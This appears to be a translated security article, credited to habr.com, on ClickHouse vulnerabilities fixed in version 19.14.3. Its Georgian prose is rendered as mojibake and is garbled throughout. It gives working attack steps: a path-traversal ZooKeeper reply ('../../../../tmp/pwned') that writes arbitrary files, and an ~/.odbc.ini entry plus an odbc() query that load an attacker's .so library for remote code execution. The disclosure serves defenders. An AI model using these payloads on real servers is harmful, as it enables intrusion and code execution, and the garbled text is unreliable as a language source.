แƒฌแƒ˜แƒœแƒแƒกแƒฌแƒแƒ  แƒ“แƒแƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒฃแƒšแƒ˜_แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜ - แƒ“แƒแƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒฃแƒšแƒ˜ แƒฌแƒแƒ แƒ›แƒแƒ”แƒ‘แƒฃแƒšแƒ˜ แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒแƒชแƒ˜แƒ˜แƒก แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜ /etc/clickhouse-server;
แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜ - แƒคแƒแƒฅแƒขแƒแƒ‘แƒ แƒ˜แƒ•แƒ˜ แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒ—แƒแƒ•แƒแƒ“ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒ—, แƒแƒ› แƒจแƒ”แƒ›แƒ—แƒฎแƒ•แƒ”แƒ•แƒแƒจแƒ˜ แƒ—แƒ˜แƒ—แƒแƒ”แƒฃแƒšแƒ˜ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก แƒชแƒแƒšแƒ™แƒ” แƒฅแƒ•แƒ”แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒฃแƒ‘แƒ แƒแƒšแƒแƒ“ แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒแƒฅ (แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“ /var/lib/clickhouse/data/default).

แƒ—แƒ˜แƒ—แƒแƒ”แƒฃแƒšแƒ˜ แƒชแƒฎแƒ แƒ˜แƒšแƒ˜แƒกแƒ—แƒ•แƒ˜แƒก แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒฅแƒ•แƒ”แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒ˜แƒก แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒแƒจแƒ˜. แƒ—แƒ˜แƒ—แƒแƒ”แƒฃแƒšแƒ˜ แƒกแƒ•แƒ”แƒขแƒ˜ แƒแƒ แƒ˜แƒก แƒชแƒแƒšแƒ™แƒ” แƒคแƒแƒ˜แƒšแƒ˜, แƒ แƒแƒช แƒ“แƒแƒ›แƒแƒ™แƒ˜แƒ“แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒซแƒ แƒแƒ•แƒ˜แƒก แƒคแƒแƒ แƒ›แƒแƒขแƒ˜. แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“ แƒ›แƒแƒ’แƒ˜แƒ“แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก แƒคแƒฃแƒ‘แƒแƒ แƒ˜แƒจแƒ”แƒฅแƒ›แƒœแƒ˜แƒšแƒ˜ แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒ˜แƒก แƒ›แƒ˜แƒ”แƒ , แƒจแƒ”แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒจแƒ”แƒ›แƒ“แƒ”แƒ’แƒ˜ แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ แƒ˜แƒ›แƒ”แƒ“แƒแƒ•แƒœแƒ”แƒ‘แƒก, แƒ แƒแƒ› แƒ›แƒ˜แƒ˜แƒฆแƒ”แƒ‘แƒก แƒ˜แƒ›แƒแƒ•แƒ” แƒกแƒแƒฎแƒ”แƒšแƒ”แƒ‘แƒ˜แƒก แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒšแƒแƒ™แƒ˜แƒก แƒ“แƒแƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒ˜แƒกแƒแƒก แƒ“แƒ แƒแƒ แƒแƒœแƒแƒ˜แƒ แƒแƒ“ แƒแƒ  แƒแƒ›แƒแƒฌแƒ›แƒ”แƒ‘แƒก แƒ›แƒแƒ—.

แƒงแƒฃแƒ แƒแƒ“แƒฆแƒ”แƒ‘แƒ˜แƒแƒœ แƒ›แƒ™แƒ˜แƒ—แƒฎแƒ•แƒ”แƒšแƒก แƒแƒšแƒ‘แƒแƒ— แƒฃแƒ™แƒ•แƒ” แƒกแƒ›แƒ”แƒœแƒ˜แƒ แƒคแƒฃแƒœแƒฅแƒชแƒ˜แƒแƒจแƒ˜ file_name-แƒ˜แƒก แƒกแƒแƒฎแƒ˜แƒคแƒแƒ—แƒ แƒจแƒ”แƒ”แƒ แƒ—แƒ”แƒ‘แƒ˜แƒก แƒจแƒ”แƒกแƒแƒฎแƒ”แƒ‘ WriteBufferFromFile. แƒ“แƒ˜แƒแƒฎ, แƒ”แƒก แƒกแƒแƒจแƒฃแƒแƒšแƒ”แƒ‘แƒแƒก แƒแƒซแƒšแƒ”แƒ•แƒก แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒ“แƒแƒฌแƒ”แƒ แƒแƒก แƒ—แƒ•แƒ˜แƒ—แƒœแƒ”แƒ‘แƒฃแƒ แƒ˜ แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜ FS-แƒ˜แƒก แƒœแƒ”แƒ‘แƒ˜แƒกแƒ›แƒ˜แƒ”แƒ  แƒคแƒแƒ˜แƒšแƒ–แƒ” แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒšแƒ˜แƒก แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒ˜แƒ— clickhouse. แƒแƒ›แƒ˜แƒกแƒแƒ—แƒ•แƒ˜แƒก แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒ˜แƒก แƒ›แƒ˜แƒ”แƒ  แƒ™แƒแƒœแƒขแƒ แƒแƒšแƒ˜แƒ แƒ”แƒ‘แƒแƒ“แƒ˜ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ แƒฃแƒœแƒ“แƒ แƒ“แƒแƒแƒ‘แƒ แƒฃแƒœแƒแƒก แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒแƒ–แƒ” แƒจแƒ”แƒ›แƒ“แƒ”แƒ’แƒ˜ แƒžแƒแƒกแƒฃแƒฎแƒ˜ (แƒฎแƒแƒ–แƒ˜แƒก แƒฌแƒงแƒ•แƒ”แƒขแƒ”แƒ‘แƒ˜ แƒ“แƒแƒ›แƒแƒขแƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ’แƒแƒ’แƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒกแƒแƒแƒ“แƒ•แƒ˜แƒšแƒ”แƒ‘แƒšแƒแƒ“):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

แƒ“แƒ แƒจแƒ”แƒ”แƒ แƒ—แƒ”แƒ‘แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ ../../../../../../../../../tmp/pwned แƒคแƒแƒ˜แƒšแƒ˜ แƒ“แƒแƒ˜แƒฌแƒ”แƒ แƒ”แƒ‘แƒ /tmp/pwned แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜แƒ— hellofromzookeeper.

แƒแƒ แƒกแƒ”แƒ‘แƒแƒ‘แƒก แƒ แƒแƒ›แƒ“แƒ”แƒœแƒ˜แƒ›แƒ” แƒ•แƒแƒ แƒ˜แƒแƒœแƒขแƒ˜ แƒคแƒแƒ˜แƒšแƒ˜แƒก แƒฌแƒ”แƒ แƒ˜แƒก แƒจแƒ”แƒกแƒแƒซแƒšแƒ”แƒ‘แƒšแƒแƒ‘แƒ˜แƒก แƒ“แƒ˜แƒกแƒขแƒแƒœแƒชแƒ˜แƒฃแƒ แƒ˜ แƒ™แƒแƒ“แƒ˜แƒก แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒแƒ“ (RCE) แƒ’แƒแƒ“แƒแƒฅแƒชแƒ”แƒ•แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก.

แƒ’แƒแƒ แƒ” แƒšแƒ”แƒฅแƒกแƒ˜แƒ™แƒแƒœแƒ”แƒ‘แƒ˜ RCE-แƒจแƒ˜

แƒซแƒ•แƒ”แƒš แƒ•แƒ”แƒ แƒกแƒ˜แƒ”แƒ‘แƒจแƒ˜, แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ ClickHouse-แƒ˜แƒก แƒžแƒแƒ แƒแƒ›แƒ”แƒขแƒ แƒ”แƒ‘แƒ˜แƒ— แƒ˜แƒœแƒแƒฎแƒ”แƒ‘แƒแƒ“แƒ แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒšแƒ˜แƒก แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒ˜แƒ— clickhouse แƒœแƒแƒ’แƒฃแƒšแƒ˜แƒกแƒฎแƒ›แƒ”แƒ•แƒ˜. แƒžแƒแƒ แƒแƒ›แƒ”แƒขแƒ แƒ”แƒ‘แƒ˜แƒก แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜ แƒแƒ แƒ˜แƒก XML แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜, แƒ แƒแƒ›แƒšแƒ”แƒ‘แƒกแƒแƒช แƒกแƒ”แƒ แƒ•แƒ˜แƒกแƒ˜ แƒ™แƒ˜แƒ—แƒฎแƒฃแƒšแƒแƒ‘แƒก แƒ’แƒแƒจแƒ•แƒ”แƒ‘แƒ˜แƒกแƒแƒก แƒ“แƒ แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒ˜แƒœแƒแƒฎแƒแƒ•แƒก แƒฅแƒ”แƒจแƒ˜ /var/lib/clickhouse/preprocessed_configs. แƒ แƒแƒ“แƒ”แƒกแƒแƒช แƒชแƒ•แƒšแƒ˜แƒšแƒ”แƒ‘แƒ”แƒ‘แƒ˜ แƒฎแƒ“แƒ”แƒ‘แƒ, แƒ˜แƒกแƒ˜แƒœแƒ˜ แƒฎแƒ”แƒšแƒแƒฎแƒšแƒ แƒ˜แƒ™แƒ˜แƒ—แƒฎแƒ”แƒ‘แƒ. แƒ—แƒฃ แƒ—แƒฅแƒ•แƒ”แƒœ แƒ’แƒแƒฅแƒ•แƒ— แƒฌแƒ•แƒ“แƒแƒ›แƒ /etc/clickhouse-server แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒจแƒ”แƒฅแƒ›แƒœแƒแƒก แƒกแƒแƒ™แƒฃแƒ—แƒแƒ แƒ˜ แƒ’แƒแƒ แƒ” แƒšแƒ”แƒฅแƒกแƒ˜แƒ™แƒแƒœแƒ˜ แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒแƒ“แƒ˜ แƒขแƒ˜แƒžแƒ˜ แƒ“แƒ แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒจแƒ”แƒแƒกแƒ แƒฃแƒšแƒ”แƒ— แƒ—แƒ•แƒ˜แƒ—แƒœแƒ”แƒ‘แƒฃแƒ แƒ˜ แƒ™แƒแƒ“แƒ˜. ClickHouse-แƒ˜แƒก แƒแƒ›แƒŸแƒแƒ›แƒ˜แƒœแƒ“แƒ”แƒšแƒ˜ แƒ•แƒ”แƒ แƒกแƒ˜แƒ”แƒ‘แƒ˜ แƒœแƒแƒ’แƒฃแƒšแƒ˜แƒกแƒฎแƒ›แƒ”แƒ•แƒแƒ“ แƒแƒ  แƒ˜แƒซแƒšแƒ”แƒ•แƒ แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒก, แƒ›แƒแƒ’แƒ แƒแƒ› แƒ—แƒฃ แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ˜ แƒ—แƒแƒœแƒ“แƒแƒ—แƒแƒœ แƒ’แƒแƒœแƒแƒฎแƒšแƒ“แƒ”แƒ‘แƒ, แƒแƒกแƒ”แƒ—แƒ˜ แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒ˜ แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ“แƒแƒ แƒฉแƒ”แƒก. แƒ—แƒฃ แƒ—แƒฅแƒ•แƒ”แƒœ แƒ›แƒฎแƒแƒ แƒก แƒฃแƒญแƒ”แƒ แƒ— ClickHouse แƒ™แƒšแƒแƒกแƒขแƒ”แƒ แƒก, แƒจแƒ”แƒแƒ›แƒแƒฌแƒ›แƒ”แƒ— แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒ˜ แƒžแƒแƒ แƒแƒ›แƒ”แƒขแƒ แƒ”แƒ‘แƒ˜แƒก แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒแƒ–แƒ”, แƒ˜แƒก แƒฃแƒœแƒ“แƒ แƒ”แƒ™แƒฃแƒ—แƒ•แƒœแƒแƒ“แƒ”แƒก แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒ”แƒšแƒก root.

ODBC RCE-แƒ›แƒ“แƒ”

แƒžแƒแƒ™แƒ”แƒขแƒ˜แƒก แƒ“แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒกแƒแƒก แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒ”แƒšแƒ˜ clickhouse, แƒ›แƒแƒ’แƒ แƒแƒ› แƒ›แƒ˜แƒกแƒ˜ แƒ›แƒ—แƒแƒ•แƒแƒ แƒ˜ แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒแƒ  แƒแƒ แƒ˜แƒก แƒจแƒ”แƒฅแƒ›แƒœแƒ˜แƒšแƒ˜ /nonexistent. แƒ—แƒฃแƒ›แƒชแƒ, แƒ’แƒแƒ แƒ” แƒšแƒ”แƒฅแƒกแƒ˜แƒ™แƒแƒœแƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒกแƒแƒก แƒแƒœ แƒกแƒฎแƒ•แƒ แƒ›แƒ˜แƒ–แƒ”แƒ–แƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ›แƒ, แƒแƒ“แƒ›แƒ˜แƒœแƒ˜แƒกแƒขแƒ แƒแƒขแƒแƒ แƒ”แƒ‘แƒ˜ แƒฅแƒ›แƒœแƒ˜แƒแƒœ แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒแƒก /nonexistent แƒ“แƒ แƒ›แƒ˜แƒ”แƒชแƒ˜แƒ— แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒ”แƒšแƒก clickhouse แƒฌแƒ•แƒ“แƒแƒ›แƒ แƒ›แƒแƒกแƒ–แƒ” แƒฉแƒแƒกแƒแƒฌแƒ”แƒ แƒแƒ“ (SSZB! แƒ“แƒแƒแƒฎแƒš. แƒ›แƒ—แƒแƒ แƒ’แƒ›แƒœแƒ”แƒšแƒ˜).

ClickHouse แƒ›แƒฎแƒแƒ แƒก แƒฃแƒญแƒ”แƒ แƒก ODBC แƒ“แƒ แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒกแƒฎแƒ•แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒ”แƒ‘แƒ—แƒแƒœ แƒ“แƒแƒ™แƒแƒ•แƒจแƒ˜แƒ แƒ”แƒ‘แƒ. ODBC-แƒจแƒ˜ แƒจแƒ”แƒ’แƒ˜แƒซแƒšแƒ˜แƒแƒ— แƒ›แƒ˜แƒฃแƒ—แƒ˜แƒ—แƒแƒ— แƒ’แƒ–แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒ˜แƒก แƒ“แƒ แƒแƒ˜แƒ•แƒ”แƒ แƒ˜แƒก แƒ‘แƒ˜แƒ‘แƒšแƒ˜แƒแƒ—แƒ”แƒ™แƒ˜แƒกแƒ™แƒ”แƒœ (.so). ClickHouse-แƒ˜แƒก แƒซแƒ•แƒ”แƒšแƒ˜ แƒ•แƒ”แƒ แƒกแƒ˜แƒ”แƒ‘แƒ˜ แƒกแƒแƒจแƒฃแƒแƒšแƒ”แƒ‘แƒแƒก แƒ’แƒแƒซแƒšแƒ”แƒ•แƒ— แƒแƒ›แƒ˜แƒก แƒ’แƒแƒ™แƒ”แƒ—แƒ”แƒ‘แƒ แƒžแƒ˜แƒ แƒ“แƒแƒžแƒ˜แƒ  แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ˜แƒก แƒ“แƒแƒ›แƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒ”แƒšแƒจแƒ˜, แƒ›แƒแƒ’แƒ แƒแƒ› แƒแƒฎแƒšแƒ แƒ“แƒแƒ›แƒแƒขแƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ™แƒแƒ•แƒจแƒ˜แƒ แƒ˜แƒก แƒกแƒขแƒ แƒ˜แƒฅแƒแƒœแƒ˜แƒก แƒฃแƒคแƒ แƒ แƒ›แƒ™แƒแƒชแƒ แƒ˜ แƒจแƒ”แƒ›แƒแƒฌแƒ›แƒ”แƒ‘แƒ. odbc-bridge, แƒแƒกแƒ” แƒ แƒแƒ› แƒแƒฆแƒแƒ  แƒแƒ แƒ˜แƒก แƒจแƒ”แƒกแƒแƒซแƒšแƒ”แƒ‘แƒ”แƒšแƒ˜ แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ˜แƒ“แƒแƒœ แƒ›แƒซแƒฆแƒแƒšแƒ˜แƒก แƒ‘แƒ˜แƒšแƒ˜แƒ™แƒ˜แƒก แƒ›แƒ˜แƒ—แƒ˜แƒ—แƒ”แƒ‘แƒ. แƒ›แƒแƒ’แƒ แƒแƒ› แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒ—แƒฃ แƒแƒ แƒ แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒ“แƒแƒฌแƒ”แƒ แƒแƒก แƒกแƒแƒฎแƒšแƒ˜แƒก แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒแƒจแƒ˜ แƒ–แƒ”แƒ›แƒแƒ— แƒแƒฆแƒฌแƒ”แƒ แƒ˜แƒšแƒ˜ แƒ“แƒแƒฃแƒชแƒ•แƒ”แƒšแƒแƒ‘แƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒ—?

แƒ›แƒแƒ“แƒ˜แƒ— แƒจแƒ”แƒ•แƒฅแƒ›แƒœแƒแƒ— แƒคแƒแƒ˜แƒšแƒ˜ ~/.odbc.ini แƒแƒกแƒ”แƒ—แƒ˜ แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜แƒ—:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒ’แƒแƒจแƒ•แƒ”แƒ‘แƒ˜แƒกแƒแƒก SELECT * FROM odbc('DSN=lalala', 'test', 'test'); แƒ‘แƒ˜แƒ‘แƒšแƒ˜แƒแƒ—แƒ”แƒ™แƒ แƒ˜แƒขแƒ•แƒ˜แƒ แƒ—แƒ”แƒ‘แƒ test.so แƒ“แƒ แƒ›แƒ˜แƒ˜แƒฆแƒ RCE (แƒ›แƒแƒ“แƒšแƒแƒ‘แƒ แƒ‘แƒฃแƒ’แƒšแƒแƒ™แƒ˜ แƒฌแƒ•แƒ”แƒ แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก).

แƒ”แƒก แƒ“แƒ แƒกแƒฎแƒ•แƒ แƒ“แƒแƒฃแƒชแƒ•แƒ”แƒšแƒแƒ‘แƒ แƒ“แƒแƒคแƒ˜แƒฅแƒกแƒ˜แƒ แƒ“แƒ ClickHouse แƒ•แƒ”แƒ แƒกแƒ˜แƒแƒจแƒ˜ 19.14.3. แƒ˜แƒ–แƒ แƒฃแƒœแƒ”แƒ— แƒ—แƒฅแƒ•แƒ”แƒœแƒก ClickHouse-แƒ–แƒ” แƒ“แƒ ZooKeepers-แƒ–แƒ”!

แƒฌแƒงแƒแƒ แƒ: www.habr.com

แƒแƒฎแƒแƒšแƒ˜ แƒ™แƒแƒ›แƒ”แƒœแƒขแƒแƒ แƒ˜แƒก แƒ“แƒแƒ›แƒแƒขแƒ”แƒ‘แƒ